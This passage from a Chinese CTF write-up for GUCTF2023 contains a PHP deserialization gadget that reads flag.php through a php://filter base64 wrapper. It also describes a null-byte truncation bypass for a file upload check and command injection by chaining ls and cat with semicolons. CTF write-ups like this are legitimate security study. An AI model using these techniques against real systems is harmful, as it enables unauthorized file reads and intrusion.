{public $file;public function __construct($file){$this->file = $file;}public function __destruct(){include("php://filter/read=convert.base64-encode/resource=flag.php");}
}$b=unserialize('O:10:"Connection":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}');
$a=new Connection('php://filter/read=convert.base64-encode/resource=flag.php');
echo serialize($a);?>
uploadGIF
文件上传,经过burp判断出是后缀名检测
使用00截断
然后就上传成功咯,访问得到flag
这里因为是cat flag.php代码,要ctrl+u才能查看
美丽的风景
ctrl+u有提示
我们就照着他说的加一个get请求
源码出来了,这里就过滤几个,用;隔开挺好利用的
先ls一下,然后cat flag.txt就好了
这里绕过方法也很多,举例一个
拿到flag
RE
有点pwn基础,就能做一点简单的,就不放wp了
这篇关于中国地质大学(武汉)GUCTF2023 个人wp的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!